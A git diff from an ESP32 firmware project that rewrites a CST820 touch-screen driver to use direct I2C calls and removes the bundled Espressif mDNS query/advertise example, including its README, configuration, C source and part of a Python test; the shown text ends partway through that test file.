+#define I2C_MASTER_FREQ_HZ 400000 + +esp_err_t cst820_i2c_read(uint8_t reg_addr, uint8_t *data, size_t len) { + i2c_cmd_handle_t cmd = i2c_cmd_link_create(); + i2c_master_start(cmd); + i2c_master_write_byte(cmd, (I2C_ADDR_CST820 << 1) | I2C_MASTER_WRITE, true); + i2c_master_write_byte(cmd, reg_addr, true); + i2c_master_start(cmd); + i2c_master_write_byte(cmd, (I2C_ADDR_CST820 << 1) | I2C_MASTER_READ, true); + if (len > 1) { + i2c_master_read(cmd, data, len - 1, I2C_MASTER_ACK); + } + i2c_master_read_byte(cmd, data + len - 1, I2C_MASTER_NACK); + i2c_master_stop(cmd); + esp_err_t err = i2c_master_cmd_begin(0, cmd, I2C_MASTER_TIMEOUT_MS / portTICK_PERIOD_MS); + i2c_cmd_link_delete(cmd); + return err; } -esp_err_t cst820_i2c_write8(uint8_t slave_addr, uint16_t register_addr, uint8_t data) { - uint8_t buffer = data; - return lvgl_i2c_write(CONFIG_LV_I2C_TOUCH_PORT, slave_addr, register_addr | I2C_REG_16, &buffer, 1); +esp_err_t cst820_i2c_write(uint8_t reg_addr, uint8_t data) { + i2c_cmd_handle_t cmd = i2c_cmd_link_create(); + i2c_master_start(cmd); + i2c_master_write_byte(cmd, (I2C_ADDR_CST820 << 1) | I2C_MASTER_WRITE, true); + i2c_master_write_byte(cmd, reg_addr, true); + i2c_master_write_byte(cmd, data, true); + i2c_master_stop(cmd); + esp_err_t err = i2c_master_cmd_begin(0, cmd, I2C_MASTER_TIMEOUT_MS / portTICK_PERIOD_MS); + i2c_cmd_link_delete(cmd); + return err; } -void cst820_init(uint8_t dev_addr) -{ - cst820_i2c_write8(CST820_I2C_SLAVE_ADDR, 0xFE, 0XFF); +void cst820_init(void) { + i2c_config_t conf = { + .mode = I2C_MODE_MASTER, + .sda_io_num = CYD28_TouchC_SDA, + .scl_io_num = CYD28_TouchC_SCL, + .sda_pullup_en = GPIO_PULLUP_ENABLE, + .scl_pullup_en = GPIO_PULLUP_ENABLE, + .master.clk_speed = I2C_MASTER_FREQ_HZ, + }; + + ESP_ERROR_CHECK(i2c_param_config(0, &conf)); + ESP_ERROR_CHECK(i2c_driver_install(0, conf.mode, 0, 0, 0)); + + gpio_set_direction(CYD28_TouchC_INT, GPIO_MODE_OUTPUT); + gpio_set_level(CYD28_TouchC_INT, 1); + vTaskDelay(pdMS_TO_TICKS(1)); + gpio_set_level(CYD28_TouchC_INT, 0); + vTaskDelay(pdMS_TO_TICKS(1)); + + gpio_set_direction(CYD28_TouchC_RST, GPIO_MODE_OUTPUT); + gpio_set_level(CYD28_TouchC_RST, 0); + vTaskDelay(pdMS_TO_TICKS(10)); + gpio_set_level(CYD28_TouchC_RST, 1); + vTaskDelay(pdMS_TO_TICKS(300)); + + ESP_ERROR_CHECK(cst820_i2c_write(0xFE, 0xFF)); } -esp_err_t cst820_read_continuous(uint16_t register_addr, uint8_t *data_buf, uint32_t length) -{ - esp_err_t err = cst820_i2c_read(CST820_I2C_SLAVE_ADDR, register_addr, data_buf, length); - if (err != ESP_OK) { - ESP_LOGE(TAG, "Failed to read continuous data from address: 0x%04X, error: %d", register_addr, err); - return err; - } - return ESP_OK; +static void convert_raw_xy(int16_t raw_x, int16_t raw_y, int16_t *x, int16_t *y) { + *x = raw_x; + *y = raw_y; + + *x = (*x * LV_HOR_RES) / 240; + *y = (*y * LV_VER_RES) / 320; + + ESP_LOGI(TAG, "Raw: x=%d, y=%d, Converted: x=%d, y=%d", raw_x, raw_y, *x, *y); } -bool cst820_read(lv_indev_drv_t *drv, lv_indev_data_t *data) -{ +bool cst820_read(lv_indev_drv_t *drv, lv_indev_data_t *data) { static int16_t last_x = 0; static int16_t last_y = 0; + uint8_t touch_points = 0; - uint8_t FingerIndex; - cst820_i2c_read(CST820_I2C_SLAVE_ADDR, 0x02, &FingerIndex, 1); - - if (!FingerIndex) - { + if (cst820_i2c_read(0x02, &touch_points, 1) != ESP_OK) { data->point.x = last_x; data->point.y = last_y; data->state = LV_INDEV_STATE_REL; return false; } - uint8_t touchdata[4]; - cst820_read_continuous(0x03, touchdata, 4); - - int16_t raw_x = ((touchdata[0] & 0x0f) << 8) | touchdata[1]; - int16_t raw_y = ((touchdata[2] & 0x0f) << 8) | touchdata[3]; - -#if CONFIG_LV_CT820_INVERT_X - raw_x = raw_x * -1; -#endif -#if CONFIG_LV_CT820_INVERT_Y - raw_y = raw_y * -1; -#endif -#if CONFIG_LV_CT820_SWAPXY - int16_t swap_buf = raw_x; - raw_x = raw_y; - raw_y = swap_buf; -#endif - - - const int16_t raw_max_x = 4095; - const int16_t raw_max_y = 4095; + if (!touch_points) { + data->point.x = last_x; + data->point.y = last_y; + data->state = LV_INDEV_STATE_REL; + return false; + } - - lv_coord_t screen_width = LV_HOR_RES; - lv_coord_t screen_height = LV_VER_RES; + uint8_t touch_data[4]; + if (cst820_i2c_read(0x03, touch_data, 4) != ESP_OK) { + return false; + } + int16_t raw_x = ((touch_data[0] & 0x0f) << 8) | touch_data[1]; + int16_t raw_y = ((touch_data[2] & 0x0f) << 8) | touch_data[3]; - last_x = (raw_x * screen_width) / raw_max_x; - last_y = (raw_y * screen_height) / raw_max_y; + int16_t x, y; + convert_raw_xy(raw_x, raw_y, &x, &y); - data->point.x = last_x; - data->point.y = last_y; + last_x = x; + last_y = y; + data->point.x = x; + data->point.y = y; data->state = LV_INDEV_STATE_PR; - ESP_LOGW(TAG, "Raw X=%d, Y=%d", raw_x, raw_y); - ESP_LOGW(TAG, "Mapped X=%u, Y=%u", data->point.x, data->point.y); - + ESP_LOGV(TAG, "Touch: x=%d, y=%d", x, y); return false; } \ No newline at end of file diff --git a/components/lvgl_esp32_drivers/lvgl_touch/cst820.h b/components/lvgl_esp32_drivers/lvgl_touch/cst820.h index 809e72c6..721f264b 100644 --- a/components/lvgl_esp32_drivers/lvgl_touch/cst820.h +++ b/components/lvgl_esp32_drivers/lvgl_touch/cst820.h @@ -14,7 +14,12 @@ extern "C" { #endif -#define CST820_I2C_SLAVE_ADDR 0x15 +#define I2C_ADDR_CST820 0x15 + +#define CYD28_TouchC_SDA 33 +#define CYD28_TouchC_SCL 32 +#define CYD28_TouchC_INT 21 +#define CYD28_TouchC_RST 25 enum GESTURE { @@ -33,7 +38,7 @@ enum GESTURE * @param dev_addr: Device address on communication Bus (I2C slave address of GT911). * @retval None */ -void cst820_init(uint8_t dev_addr); +void cst820_init(void); /** * @brief Get the touch screen X and Y positions values. Ignores multi touch diff --git a/components/lvgl_esp32_drivers/lvgl_touch/touch_driver.c b/components/lvgl_esp32_drivers/lvgl_touch/touch_driver.c index f3149e90..2fb53183 100644 --- a/components/lvgl_esp32_drivers/lvgl_touch/touch_driver.c +++ b/components/lvgl_esp32_drivers/lvgl_touch/touch_driver.c @@ -23,7 +23,7 @@ void touch_driver_init(void) #elif defined (CONFIG_LV_TOUCH_CONTROLLER_GT911) gt911_init(GT911_I2C_SLAVE_ADDR); #elif defined (CONFIG_LV_TOUCH_CONTROLLER_CST820) - cst820_init(CST820_I2C_SLAVE_ADDR); + cst820_init(); #endif } diff --git a/components/mdns/examples/query_advertise/CMakeLists.txt b/components/mdns/examples/query_advertise/CMakeLists.txt deleted file mode 100644 index 9a16f140..00000000 --- a/components/mdns/examples/query_advertise/CMakeLists.txt +++ /dev/null @@ -1,6 +0,0 @@ -# The following lines of boilerplate have to be in your project's CMakeLists -# in this exact order for cmake to work correctly -cmake_minimum_required(VERSION 3.5) - -include($ENV{IDF_PATH}/tools/cmake/project.cmake) -project(query_advertise) diff --git a/components/mdns/examples/query_advertise/README.md b/components/mdns/examples/query_advertise/README.md deleted file mode 100644 index 6ccdef97..00000000 --- a/components/mdns/examples/query_advertise/README.md +++ /dev/null @@ -1,91 +0,0 @@ -# mDNS example - -Shows how to use mDNS to advertise and query services and hosts - -## Example workflow - -- mDNS is initialized with host name and instance name defined through the project configuration and `_http._tcp` service is added to be advertised -- A delegated host `esp32-delegated._local` is added and another `_http._tcp` service is added for this host. -- WiFi STA is started and trying to connect to the access point defined through the project configuration -- The system event handler is used to pass the network events to mDNS so the service is aware when the interface comes up or down -- GPIO0 (BOOT Button) is initialized as pulled-up input that can be monitored for button press -- Example task is started to check if the button is pressed so it can execute the mDNS queries defined - -### Configure the project - -* Open the project configuration menu (`idf.py menuconfig`) - -* Configure Wi-Fi or Ethernet under "Example Connection Configuration" menu -* Set `mDNS Hostname` as host name prefix for the device and its instance name in `mDNS Instance Name` -* Disable `Resolve test services` to prevent the example from querying defined names/services on startup (cause warnings in example logs, as illustrated below) - -### Build and Flash - -Build the project and flash it to the board, then run monitor tool to view serial output: - -``` -idf.py -p PORT flash monitor -``` - -- Wait for WiFi to connect to your access point -- You can now ping the device at `[board-hostname].local`, where `[board-hostname]` is preconfigured hostname, `esp32-mdns` by default. -- You can also browse for `_http._tcp` on the same network to find the advertised service -- Pressing the BOOT button will start querying the local network for the predefined in `check_button` hosts and services -- Note that for purpose of CI tests, configuration options of `MDNS_RESOLVE_TEST_SERVICES` and `MDNS_ADD_MAC_TO_HOSTNAME` are available, but disabled by default. If enabled, then the hostname suffix of last 3 bytes from device MAC address is added, e.g. `esp32-mdns-80FFFF`, and a query for test service is issued. - - -(To exit the serial monitor, type ``Ctrl-]``.) - -See the Getting Started Guide for full steps to configure and use ESP-IDF to build projects. - -## Example Output -``` -I (0) cpu_start: Starting scheduler on APP CPU. -I (276) system_api: Base MAC address is not set, read default base MAC address from BLK0 of EFUSE -I (276) mdns-test: mdns hostname set to: [esp32-mdns] -I (286) wifi: wifi driver task: 3ffc2fa4, prio:23, stack:3584, core=0 -I (286) wifi: wifi firmware version: a3be639 -I (286) wifi: config NVS flash: enabled -I (296) wifi: config nano formating: disabled -I (296) system_api: Base MAC address is not set, read default base MAC address from BLK0 of EFUSE -I (306) system_api: Base MAC address is not set, read default base MAC address from BLK0 of EFUSE -I (336) wifi: Init dynamic tx buffer num: 32 -I (336) wifi: Init data frame dynamic rx buffer num: 32 -I (336) wifi: Init management frame dynamic rx buffer num: 32 -I (346) wifi: Init static rx buffer size: 1600 -I (346) wifi: Init static rx buffer num: 10 -I (346) wifi: Init dynamic rx buffer num: 32 -I (356) mdns-test: Setting WiFi configuration SSID myssid... -I (426) phy: phy_version: 4000, b6198fa, Sep 3 2018, 15:11:06, 0, 0 -I (426) wifi: mode : sta (30:ae:a4:80:FF:FF) -I (426) gpio: GPIO[0]| InputEn: 1| OutputEn: 0| OpenDrain: 0| Pullup: 1| Pulldown: 0| Intr:0 -I (1756) wifi: n:11 0, o:1 0, ap:255 255, sta:11 0, prof:1 -I (2736) wifi: state: init -> auth (b0) -I (2756) wifi: state: auth -> assoc (0) -I (2766) wifi: state: assoc -> run (10) -I (2786) wifi: connected with myssid, channel 11 -I (2786) wifi: pm start, type: 1 - -I (4786) event: sta ip: 192.168.0.139, mask: 255.255.255.0, gw: 192.168.0.2 -I (21126) mdns-test: Query A: esp32.local -W (23176) mdns-test: ESP_ERR_NOT_FOUND: Host was not found! -I (23176) mdns-test: Query PTR: _arduino._tcp.local -W (26276) mdns-test: No results found! -I (26276) mdns-test: Query PTR: _http._tcp.local -1: Interface: STA, Type: V6 - PTR : HP Color LaserJet MFP M277dw (7C2E10) - SRV : NPI7C2E10.local:80 - A : 254.128.0.0 -2: Interface: STA, Type: V4 - PTR : switch4e4919 - SRV : switch4e4919.local:80 - TXT : [1] path=/config/authentication_page.htm; - A : 192.168.0.118 -I (29396) mdns-test: Query PTR: _printer._tcp.local -1: Interface: STA, Type: V6 - PTR : HP Color LaserJet MFP M277dw (7C2E10) - SRV : NPI7C2E10.local:515 - A : 254.128.0.0 -2: Interface: STA, Type: V4 - PTR : HP Color LaserJet MFP M277dw (7C2E10) -``` diff --git a/components/mdns/examples/query_advertise/main/CMakeLists.txt b/components/mdns/examples/query_advertise/main/CMakeLists.txt deleted file mode 100644 index eb0e6d9e..00000000 --- a/components/mdns/examples/query_advertise/main/CMakeLists.txt +++ /dev/null @@ -1,2 +0,0 @@ -idf_component_register(SRCS "mdns_example_main.c" - INCLUDE_DIRS ".") diff --git a/components/mdns/examples/query_advertise/main/Kconfig.projbuild b/components/mdns/examples/query_advertise/main/Kconfig.projbuild deleted file mode 100644 index 18e1cc20..00000000 --- a/components/mdns/examples/query_advertise/main/Kconfig.projbuild +++ /dev/null @@ -1,55 +0,0 @@ -menu "Example Configuration" - - orsource "$IDF_PATH/examples/common_components/env_caps/$IDF_TARGET/Kconfig.env_caps" - - config MDNS_HOSTNAME - string "mDNS Hostname" - default "esp32-mdns" - help - mDNS Hostname for example to use - - config MDNS_INSTANCE - string "mDNS Instance Name" - default "ESP32 with mDNS" - help - mDNS Instance Name for example to use - - config MDNS_PUBLISH_DELEGATE_HOST - bool "Publish a delegated host" - help - Enable publishing a delegated host other than ESP32. - The example will also add a mock service for this host. - - config MDNS_RESOLVE_TEST_SERVICES - bool "Resolve test services" - default n - help - Enable resolving test services on startup. - These services are advertized and evaluated in automated tests. - When executed locally, these will not be resolved and warnings appear in the log. - Please set to false to disable initial querying to avoid warnings. - - config MDNS_ADD_MAC_TO_HOSTNAME - bool "Add mac suffix to hostname" - default n - help - If enabled, a portion of MAC address is added to the hostname, this is used - for evaluation of tests in CI - - config MDNS_BUTTON_GPIO - int "Button GPIO to trigger querries" - range ENV_GPIO_RANGE_MIN ENV_GPIO_IN_RANGE_MAX - default 0 - help - Set the GPIO number used as mDNS test button - - config MDNS_ADD_CUSTOM_NETIF - bool "Add user netif to mdns service" - default n - help - If enabled, we try to add a custom netif to mdns service. - Note that for using with common connection example code, we have to disable - all predefined interfaces in mdns component setup (since we're adding one - of the default interfaces) - -endmenu diff --git a/components/mdns/examples/query_advertise/main/idf_component.yml b/components/mdns/examples/query_advertise/main/idf_component.yml deleted file mode 100644 index e9277dfc..00000000 --- a/components/mdns/examples/query_advertise/main/idf_component.yml +++ /dev/null @@ -1,8 +0,0 @@ -dependencies: - ## Required IDF version - idf: ">=5.0" - espressif/mdns: - version: "^1.0.0" - override_path: "../../../" - protocol_examples_common: - path: ${IDF_PATH}/examples/common_components/protocol_examples_common diff --git a/components/mdns/examples/query_advertise/main/mdns_example_main.c b/components/mdns/examples/query_advertise/main/mdns_example_main.c deleted file mode 100644 index a6aaea2d..00000000 --- a/components/mdns/examples/query_advertise/main/mdns_example_main.c +++ /dev/null @@ -1,421 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ - -/* - * MDNS-SD Query and advertise Example -*/ -#include -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_netif_ip_addr.h" -#include "esp_mac.h" -#include "esp_event.h" -#include "esp_log.h" -#include "nvs_flash.h" -#include "esp_netif.h" -#include "protocol_examples_common.h" -#include "mdns.h" -#include "driver/gpio.h" -#include "netdb.h" - -#if ESP_IDF_VERSION < ESP_IDF_VERSION_VAL(5, 1, 0) -/* CONFIG_LWIP_IPV4 was introduced in IDF v5.1, set CONFIG_LWIP_IPV4 to 1 by default for IDF v5.0 */ -#ifndef CONFIG_LWIP_IPV4 -#define CONFIG_LWIP_IPV4 1 -#endif // CONFIG_LWIP_IPV4 -#endif // ESP_IDF_VERSION < ESP_IDF_VERSION_VAL(5, 1, 0) - -#define EXAMPLE_MDNS_INSTANCE CONFIG_MDNS_INSTANCE -#define EXAMPLE_BUTTON_GPIO CONFIG_MDNS_BUTTON_GPIO - -static const char *TAG = "mdns-test"; -static char *generate_hostname(void); - -#if CONFIG_MDNS_RESOLVE_TEST_SERVICES == 1 -static void query_mdns_host_with_gethostbyname(char *host); -static void query_mdns_host_with_getaddrinfo(char *host); -#endif - -static void initialise_mdns(void) -{ - char *hostname = generate_hostname(); - - //initialize mDNS - ESP_ERROR_CHECK( mdns_init() ); - //set mDNS hostname (required if you want to advertise services) - ESP_ERROR_CHECK( mdns_hostname_set(hostname) ); - ESP_LOGI(TAG, "mdns hostname set to: [%s]", hostname); - //set default mDNS instance name - ESP_ERROR_CHECK( mdns_instance_name_set(EXAMPLE_MDNS_INSTANCE) ); - - //structure with TXT records - mdns_txt_item_t serviceTxtData[3] = { - {"board", "esp32"}, - {"u", "user"}, - {"p", "password"} - }; - - //initialize service - ESP_ERROR_CHECK( mdns_service_add("ESP32-WebServer", "_http", "_tcp", 80, serviceTxtData, 3) ); - ESP_ERROR_CHECK( mdns_service_subtype_add_for_host("ESP32-WebServer", "_http", "_tcp", NULL, "_server") ); -#if CONFIG_MDNS_MULTIPLE_INSTANCE - ESP_ERROR_CHECK( mdns_service_add("ESP32-WebServer1", "_http", "_tcp", 80, NULL, 0) ); -#endif - -#if CONFIG_MDNS_PUBLISH_DELEGATE_HOST - char *delegated_hostname; - if (-1 == asprintf(&delegated_hostname, "%s-delegated", hostname)) { - abort(); - } - - mdns_ip_addr_t addr4, addr6; - esp_netif_str_to_ip4("10.0.0.1", &addr4.addr.u_addr.ip4); - addr4.addr.type = ESP_IPADDR_TYPE_V4; - esp_netif_str_to_ip6("fd11:22::1", &addr6.addr.u_addr.ip6); - addr6.addr.type = ESP_IPADDR_TYPE_V6; - addr4.next = &addr6; - addr6.next = NULL; - ESP_ERROR_CHECK( mdns_delegate_hostname_add(delegated_hostname, &addr4) ); - ESP_ERROR_CHECK( mdns_service_add_for_host("test0", "_http", "_tcp", delegated_hostname, 1234, serviceTxtData, 3) ); - free(delegated_hostname); -#endif // CONFIG_MDNS_PUBLISH_DELEGATE_HOST - - //add another TXT item - ESP_ERROR_CHECK( mdns_service_txt_item_set("_http", "_tcp", "path", "/foobar") ); - //change TXT item value - ESP_ERROR_CHECK( mdns_service_txt_item_set_with_explicit_value_len("_http", "_tcp", "u", "admin", strlen("admin")) ); - free(hostname); -} - -/* these strings match mdns_ip_protocol_t enumeration */ -static const char *ip_protocol_str[] = {"V4", "V6", "MAX"}; - -static void mdns_print_results(mdns_result_t *results) -{ - mdns_result_t *r = results; - mdns_ip_addr_t *a = NULL; - int i = 1, t; - while (r) { - if (r->esp_netif) { - printf("%d: Interface: %s, Type: %s, TTL: %" PRIu32 "\n", i++, esp_netif_get_ifkey(r->esp_netif), - ip_protocol_str[r->ip_protocol], r->ttl); - } - if (r->instance_name) { - printf(" PTR : %s.%s.%s\n", r->instance_name, r->service_type, r->proto); - } - if (r->hostname) { - printf(" SRV : %s.local:%u\n", r->hostname, r->port); - } - if (r->txt_count) { - printf(" TXT : [%zu] ", r->txt_count); - for (t = 0; t < r->txt_count; t++) { - printf("%s=%s(%d); ", r->txt[t].key, r->txt[t].value ? r->txt[t].value : "NULL", r->txt_value_len[t]); - } - printf("\n"); - } - a = r->addr; - while (a) { - if (a->addr.type == ESP_IPADDR_TYPE_V6) { - printf(" AAAA: " IPV6STR "\n", IPV62STR(a->addr.u_addr.ip6)); - } else { - printf(" A : " IPSTR "\n", IP2STR(&(a->addr.u_addr.ip4))); - } - a = a->next; - } - r = r->next; - } -} - -static void query_mdns_service(const char *service_name, const char *proto) -{ - ESP_LOGI(TAG, "Query PTR: %s.%s.local", service_name, proto); - - mdns_result_t *results = NULL; - esp_err_t err = mdns_query_ptr(service_name, proto, 3000, 20, &results); - if (err) { - ESP_LOGE(TAG, "Query Failed: %s", esp_err_to_name(err)); - return; - } - if (!results) { - ESP_LOGW(TAG, "No results found!"); - return; - } - - mdns_print_results(results); - mdns_query_results_free(results); -} - -#if CONFIG_MDNS_PUBLISH_DELEGATE_HOST -static void lookup_mdns_delegated_service(const char *service_name, const char *proto) -{ - ESP_LOGI(TAG, "Lookup delegated service: %s.%s.local", service_name, proto); - - mdns_result_t *results = NULL; - esp_err_t err = mdns_lookup_delegated_service(NULL, service_name, proto, 20, &results); - if (err) { - ESP_LOGE(TAG, "Lookup Failed: %s", esp_err_to_name(err)); - return; - } - if (!results) { - ESP_LOGW(TAG, "No results found!"); - return; - } - - mdns_print_results(results); - mdns_query_results_free(results); -} -#endif // CONFIG_MDNS_PUBLISH_DELEGATE_HOST - -static void lookup_mdns_selfhosted_service(const char *service_name, const char *proto) -{ - ESP_LOGI(TAG, "Lookup selfhosted service: %s.%s.local", service_name, proto); - mdns_result_t *results = NULL; - esp_err_t err = mdns_lookup_selfhosted_service(NULL, service_name, proto, 20, &results); - if (err) { - ESP_LOGE(TAG, "Lookup Failed: %s", esp_err_to_name(err)); - return; - } - if (!results) { - ESP_LOGW(TAG, "No results found!"); - return; - } - mdns_print_results(results); - mdns_query_results_free(results); -} - -static bool check_and_print_result(mdns_search_once_t *search) -{ - // Check if any result is available - mdns_result_t *result = NULL; - if (!mdns_query_async_get_results(search, 0, &result, NULL)) { - return false; - } - - if (!result) { // search timeout, but no result - return true; - } - - // If yes, print the result - mdns_ip_addr_t *a = result->addr; - while (a) { - if (a->addr.type == ESP_IPADDR_TYPE_V6) { - printf(" AAAA: " IPV6STR "\n", IPV62STR(a->addr.u_addr.ip6)); - } else { - printf(" A : " IPSTR "\n", IP2STR(&(a->addr.u_addr.ip4))); - } - a = a->next; - } - // and free the result - mdns_query_results_free(result); - return true; -} - -static void query_mdns_hosts_async(const char *host_name) -{ - ESP_LOGI(TAG, "Query both A and AAA: %s.local", host_name); - - mdns_search_once_t *s_a = mdns_query_async_new(host_name, NULL, NULL, MDNS_TYPE_A, 1000, 1, NULL); - mdns_search_once_t *s_aaaa = mdns_query_async_new(host_name, NULL, NULL, MDNS_TYPE_AAAA, 1000, 1, NULL); - while (s_a || s_aaaa) { - if (s_a && check_and_print_result(s_a)) { - ESP_LOGI(TAG, "Query A %s.local finished", host_name); - mdns_query_async_delete(s_a); - s_a = NULL; - } - if (s_aaaa && check_and_print_result(s_aaaa)) { - ESP_LOGI(TAG, "Query AAAA %s.local finished", host_name); - mdns_query_async_delete(s_aaaa); - s_aaaa = NULL; - } - vTaskDelay(50 / portTICK_PERIOD_MS); - } -} -#ifdef CONFIG_LWIP_IPV4 -static void query_mdns_host(const char *host_name) -{ - ESP_LOGI(TAG, "Query A: %s.local", host_name); - - struct esp_ip4_addr addr; - addr.addr = 0; - - esp_err_t err = mdns_query_a(host_name, 2000, &addr); - if (err) { - if (err == ESP_ERR_NOT_FOUND) { - ESP_LOGW(TAG, "%s: Host was not found!", esp_err_to_name(err)); - return; - } - ESP_LOGE(TAG, "Query Failed: %s", esp_err_to_name(err)); - return; - } - - ESP_LOGI(TAG, "Query A: %s.local resolved to: " IPSTR, host_name, IP2STR(&addr)); -} -#endif // CONFIG_LWIP_IPV4 - -static void initialise_button(void) -{ - gpio_config_t io_conf = {0}; - io_conf.intr_type = GPIO_INTR_DISABLE; - io_conf.pin_bit_mask = BIT64(EXAMPLE_BUTTON_GPIO); - io_conf.mode = GPIO_MODE_INPUT; - io_conf.pull_up_en = 1; - io_conf.pull_down_en = 0; - gpio_config(&io_conf); -} - -static void check_button(void) -{ - static bool old_level = true; - bool new_level = gpio_get_level(EXAMPLE_BUTTON_GPIO); - if (!new_level && old_level) { - query_mdns_hosts_async("esp32-mdns"); -#ifdef CONFIG_LWIP_IPV4 - query_mdns_host("esp32"); -#endif - query_mdns_service("_arduino", "_tcp"); - query_mdns_service("_http", "_tcp"); - query_mdns_service("_printer", "_tcp"); - query_mdns_service("_ipp", "_tcp"); - query_mdns_service("_afpovertcp", "_tcp"); - query_mdns_service("_smb", "_tcp"); - query_mdns_service("_ftp", "_tcp"); - query_mdns_service("_nfs", "_tcp"); -#if CONFIG_MDNS_PUBLISH_DELEGATE_HOST - lookup_mdns_delegated_service("_http", "_tcp"); -#endif // CONFIG_MDNS_PUBLISH_DELEGATE_HOST - lookup_mdns_selfhosted_service("_http", "_tcp"); - } - old_level = new_level; -} - -static void mdns_example_task(void *pvParameters) -{ -#if CONFIG_MDNS_RESOLVE_TEST_SERVICES == 1 - /* Send initial queries that are started by CI tester */ -#ifdef CONFIG_LWIP_IPV4 - query_mdns_host("tinytester"); -#endif - query_mdns_host_with_gethostbyname("tinytester-lwip.local"); - query_mdns_host_with_getaddrinfo("tinytester-lwip.local"); -#endif - - while (1) { - check_button(); - vTaskDelay(50 / portTICK_PERIOD_MS); - } -} - -void app_main(void) -{ - ESP_ERROR_CHECK(nvs_flash_init()); - ESP_ERROR_CHECK(esp_netif_init()); - ESP_ERROR_CHECK(esp_event_loop_create_default()); - - initialise_mdns(); - - /* This helper function configures Wi-Fi or Ethernet, as selected in menuconfig. - * Read "Establishing Wi-Fi or Ethernet Connection" section in - * examples/protocols/README.md for more information about this function. - */ - ESP_ERROR_CHECK(example_connect()); - -#if defined(CONFIG_MDNS_ADD_CUSTOM_NETIF) && !defined(CONFIG_MDNS_PREDEF_NETIF_STA) && !defined(CONFIG_MDNS_PREDEF_NETIF_ETH) - /* Demonstration of adding a custom netif to mdns service, but we're adding the default example one, - * so we must disable all predefined interfaces (PREDEF_NETIF_STA, AP and ETH) first - */ - ESP_ERROR_CHECK(mdns_register_netif(EXAMPLE_INTERFACE)); - /* It is not enough to just register the interface, we have to enable is manually. - * This is typically performed in "GOT_IP" event handler, but we call it here directly - * since the `EXAMPLE_INTERFACE` netif is connected already, to keep the example simple. - */ - ESP_ERROR_CHECK(mdns_netif_action(EXAMPLE_INTERFACE, MDNS_EVENT_ENABLE_IP4 | MDNS_EVENT_ENABLE_IP6)); - ESP_ERROR_CHECK(mdns_netif_action(EXAMPLE_INTERFACE, MDNS_EVENT_ANNOUNCE_IP4 | MDNS_EVENT_ANNOUNCE_IP6)); - -#if defined(CONFIG_MDNS_RESPOND_REVERSE_QUERIES) - ESP_ERROR_CHECK(mdns_netif_action(EXAMPLE_INTERFACE, MDNS_EVENT_IP4_REVERSE_LOOKUP | MDNS_EVENT_IP6_REVERSE_LOOKUP)); -#endif - -#endif // CONFIG_MDNS_ADD_CUSTOM_NETIF - - initialise_button(); - xTaskCreate(&mdns_example_task, "mdns_example_task", 2048, NULL, 5, NULL); -} - -/** Generate host name based on sdkconfig, optionally adding a portion of MAC address to it. - * @return host name string allocated from the heap - */ -static char *generate_hostname(void) -{ -#ifndef CONFIG_MDNS_ADD_MAC_TO_HOSTNAME - return strdup(CONFIG_MDNS_HOSTNAME); -#else - uint8_t mac[6]; - char *hostname; - esp_read_mac(mac, ESP_MAC_WIFI_STA); - if (-1 == asprintf(&hostname, "%s-%02X%02X%02X", CONFIG_MDNS_HOSTNAME, mac[3], mac[4], mac[5])) { - abort(); - } - return hostname; -#endif -} - -#if CONFIG_MDNS_RESOLVE_TEST_SERVICES == 1 -/** - * @brief Executes gethostbyname and displays list of resolved addresses. - * Note: This function is used only to test advertised mdns hostnames resolution - */ -static void query_mdns_host_with_gethostbyname(char *host) -{ - struct hostent *res = gethostbyname(host); - if (res) { - unsigned int i = 0; - while (res->h_addr_list[i] != NULL) { - ESP_LOGI(TAG, "gethostbyname: %s resolved to: %s", host, -#if defined(CONFIG_LWIP_IPV6) && defined(CONFIG_LWIP_IPV4) - res->h_addrtype == AF_INET ? inet_ntoa(*(struct in_addr *) (res->h_addr_list[i])) : - inet6_ntoa(*(struct in6_addr *) (res->h_addr_list[i])) -#elif defined(CONFIG_LWIP_IPV6) - inet6_ntoa(*(struct in6_addr *) (res->h_addr_list[i])) -#else - inet_ntoa(*(struct in_addr *) (res->h_addr_list[i])) -#endif - ); - i++; - } - } -} - -/** - * @brief Executes getaddrinfo and displays list of resolved addresses. - * Note: This function is used only to test advertised mdns hostnames resolution - */ -static void query_mdns_host_with_getaddrinfo(char *host) -{ - struct addrinfo hints; - struct addrinfo *res; - - memset(&hints, 0, sizeof(hints)); - hints.ai_family = AF_UNSPEC; - hints.ai_socktype = SOCK_STREAM; - - if (!getaddrinfo(host, NULL, &hints, &res)) { - while (res) { - char *resolved_addr; -#if defined(CONFIG_LWIP_IPV6) && defined(CONFIG_LWIP_IPV4) - resolved_addr = res->ai_family == AF_INET ? - inet_ntoa(((struct sockaddr_in *) res->ai_addr)->sin_addr) : - inet6_ntoa(((struct sockaddr_in6 *) res->ai_addr)->sin6_addr); -#elif defined(CONFIG_LWIP_IPV6) - resolved_addr = inet6_ntoa(((struct sockaddr_in6 *) res->ai_addr)->sin6_addr); -#else - resolved_addr = inet_ntoa(((struct sockaddr_in *) res->ai_addr)->sin_addr); -#endif // CONFIG_LWIP_IPV6 - ESP_LOGI(TAG, "getaddrinfo: %s resolved to: %s", host, resolved_addr); - res = res->ai_next; - } - } -} -#endif diff --git a/components/mdns/examples/query_advertise/pytest_mdns.py b/components/mdns/examples/query_advertise/pytest_mdns.py deleted file mode 100644 index e78e094d..00000000 --- a/components/mdns/examples/query_advertise/pytest_mdns.py +++ /dev/null @@ -1,203 +0,0 @@ -# SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD -# SPDX-License-Identifier: Unlicense OR CC0-1.0 -import re -import select -import socket -import struct -import subprocess -import time -from threading import Event, Thread - -try: - import dpkt - import dpkt.dns -except ImportError: - pass - - -def get_dns_query_for_esp(esp_host): - dns = dpkt.dns.DNS( - b'\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01' - ) - dns.qd[0].name = esp_host + u'.local' - print('Created query for esp host: {} '.format(dns.__repr__())) - return dns.pack() - - -def get_dns_answer_to_mdns(tester_host): - dns = dpkt.dns.DNS( - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - ) - dns.op = dpkt.dns.DNS_QR | dpkt.dns.DNS_AA - dns.rcode = dpkt.dns.DNS_RCODE_NOERR - arr = dpkt.dns.DNS.RR() - arr.cls = dpkt.dns.DNS_IN - arr.type = dpkt.dns.DNS_A - 